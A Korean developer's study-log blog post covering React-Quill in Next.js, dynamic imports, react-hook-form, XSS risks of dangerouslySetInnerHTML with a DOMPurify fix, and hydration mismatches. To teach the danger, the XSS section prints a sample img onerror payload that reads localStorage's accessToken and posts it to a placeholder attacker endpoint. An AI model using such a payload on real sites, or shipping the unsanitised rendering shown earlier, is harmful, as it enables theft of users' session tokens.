[TIL] 웹 에디터 / XSS / Hydration Issue

신재욱·2023년 4월 20일
1
post-thumbnail

📒 오늘 공부한 내용

🔍수업목차

[27-1] 웹 에디터 (React-quill)
[27-2] react-hook-form과 함께 사용하기
[27-3] 크로스 사이트 스크립트 (XSS)
[27-3] Hydration Issue

✅ 웹 에디터 (React-quill)


📂 웹 에디터 적용하기

  • React-Quill 을 설치

    yarn add react-quill
  • ReactQuill 에서 사용될 스타일 CSS 파일까지 함께 호출해서 스타일도 함께 적용

    import ReactQuill from 'react-quill';
    import 'react-quill/dist/quill.snow.css';
  • 웹 에디터를 사용하고 싶은 부분에 <ReactQuill /> 입력해서 웹 에디터를 사용할 수 있게 된다.

    import ReactQuill from "react-quill";
    import "react-quill/dist/quill.snow.css";
    
    export default function WebEditorPage() {
      const handleChange = (value: string) => {
        console.log(value);
      };
    
      return (
        <div>
          작성자: <input type="text" />
          <br />
          비밀번호: <input type="password" />
          <br />
          제목: <input type="text" />
          <br />
          내용: <ReactQuill onChange={handleChange} />
          <br />
          <button>등록하기</button>
        </div>
      );
    }

🎯 주의

  • ReactQuil의 onChange개발자가 만들어 놓은 커스텀 요소다.
  • 이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념이다.

📂 웹 에디터 실행

  • 프로젝트 페이지에서 한 번 새로고침을 했을때 이런 에러 페이지가 뜬다.
  • Next.js 프로젝트를 사용하고 있다면 뜰 수 밖에 없는 정상적인 에러다.
  • Next.js 는 기본적으로 서버사이드 렌더링을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
  • window 또는 document object 를 선언하기 전이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것이다.

💡 클라이언트 사이드 렌더링 vs 서버 사이드 렌더링

클라이언트 사이드 렌더링
처음 페이지에 접속하면 빈 화면만 보이게 되고, 서버로부터 app.js 파일을 다운로드 받게 되는데 어플리케이션에서 필요한 로직들 뿐만 아니라 어플리케이션을 구동하는 프레임워크, 라이브러리들도 포함되어있다. 그러므로 사이즈가 커서 다운로드 받는 시간이 오래걸린다.
서버 사이드 렌더링
서버에서 필요한 데이터를 모두 가져와서 html 파일을 만들고, 만들어진 html 파일을 동적으로 제어할 수 있는 소스코드와 함께 클라이언트에게 보낸다. 그렇게 되면 클라이언트 쪽에서 html문서를 받아서 바로 유저에게 보여줄 수 있게 된다.

  • 이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 한다.
  • Next.js 의 dynamic import 방식을 사용하면 이러한 동작을 수행할 수 있다.
  • Next.js에서 제공하는 dynamic은, 해당 모듈을 호출하는 시점을 document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와준다.
import dynamic from 'next/dynamic';

const ReactQuill = dynamic( async() => await import('react-quill'), {
    ssr : false
})

💡 dynamic import

  • ynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 해준다.
  • 반드시 다운로드를 받아도 되지 않아도 되는 부분은 dynamic import를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.

✅ react-hook-form과 함께 사용하기


입력 페이지

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }

    try {
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
			// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

상세 페이지

import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
  IQuery,
  IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";

const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div>내용: {data?.fetchBoard.contents}</div>
    </div>
  );
}

📂 웹 에디터로 등록한 게시글 보여주기

  • 웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 된다.
  • HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태로 화면에 출력해야 한다.
  • React 프로젝트에서는 기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있다.
  • 그럼에도 불구하고 HTML 태그를 사용하고자 한다면 아래와 같은 코드로 HTML 태그를 삽입 할 수 있다.
    <div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />

속성 적용

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

✅ 크로스 사이트 스크립트 (XSS)


  • dangerouslySetInnerHTML을 이용하면 웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있다.
  • 하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식이다.
<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />
  • 위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.
  • onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다.
  • 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

📂 Dompurify 설치

yarn add dompurify
yarn add -D @types/dompurify
  • 코드에 Dompurify를 적용해서 안정성을 확보할 수 있다.

    <div
    	dangerouslySetInnerHTML={{
    		__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
    	}}
    />
  • 이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생한다. 서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 된다.

    {process.browser &&
    	<div
    		dangerouslySetInnerHTML={{
    			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
    		}}
    	/>
    }

✅ Hydration Issue


return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser && (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

  • yarn dev해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있다.
  • Hydration Issue 때문에 이러한 현상이 일어난다.

  • diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물과 브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.
  • 그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.

오류 없이 화면에 렌링

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser ? (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

profile
1년차 프론트엔드 개발자

0개의 댓글